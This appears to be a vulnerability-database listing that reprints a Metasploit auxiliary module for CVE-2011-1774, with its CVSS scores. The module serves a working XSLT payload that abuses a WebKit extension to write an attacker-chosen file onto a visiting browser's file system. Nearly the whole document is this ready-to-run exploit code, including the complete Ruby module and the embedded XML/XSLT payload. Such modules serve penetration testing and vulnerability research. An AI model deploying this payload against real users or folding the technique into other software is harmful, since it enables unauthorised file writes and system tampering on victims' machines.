Cross Platform Webkit File Dropper

2024-08-3100:00:00

Jay Turla, metasploit.com

packetstormsecurity.com

xslt vulnerability

webkit

target file-system

c:\program files\ directory

ascii

utf-8

exploit

remote file

remote content

cve-2011-1774

CVSS2

8.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:N/I:C/A:C

AI Score

7.4

Confidence

Low

JSON

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cross Platform Webkit File Dropper',  
'Description' => %q{  
This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8  
files to the target file-system. By default, the file will be dropped in  
C:\Program Files\  
},  
'Author' => [ 'Nicolas Gregoire' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-1774' ]  
],  
'Actions' =>  
[  
[ 'WebServer', 'Description' => 'Serve exploit via web server' ]  
],  
'PassiveActions' =>  
[  
'WebServer'  
],  
'DefaultAction' => 'WebServer'))  
  
register_options(  
[  
OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]),  
OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ])  
])  
end  
  
def on_request_uri(cli, request)  
path = datastore['REMOTE_PATH']  
content = datastore['REMOTE_CONTENT']  
html = <<-EOS  
<?xml-stylesheet type="text/xml" href="#fragment"?>  
<!-- Define the DTD of the document  
This is needed, in order to later reference the XSLT stylesheet by a #fragment  
This trick allows to have both the XML and the XSL in the same file  
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->  
<!DOCTYPE doc [  
<!ATTLIST xsl:stylesheet  
id ID #REQUIRED  
>]>  
<doc>  
  
<!-- Define location and content of the file -->  
<path><![CDATA[#{path}]]></path>  
<content><![CDATA[#{content}]]></content>  
  
<!-- The XSLT stylesheet header, including the "sx" extension -->  
<xsl:stylesheet id="fragment" version="1.0"  
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"  
xmlns:sx="http://icl.com/saxon"  
extension-element-prefixes="sx"  
xmlns="http://www.w3.org/1999/xhtml" >  
<xsl:output method="xml" indent="yes" />  
  
<!-- The XSLT template -->  
<xsl:template match="/">  
<!-- Create the file -->  
<xsl:variable name="path" select="//path/text()"/>  
<sx:output file="{$path}" method="text">  
<xsl:value-of select="//content"/>  
</sx:output>  
<!-- Send some output to the browser -->  
<html> </html>  
</xsl:template>  
</xsl:stylesheet>  
</doc>  
EOS  
  
print_status("Sending XSLT payload ...")  
print_status("Destination file : #{path}")  
send_response_html(cli, html, { 'Content-Type' => 'application/xml' })  
end  
  
def run  
exploit()  
end  
end  
`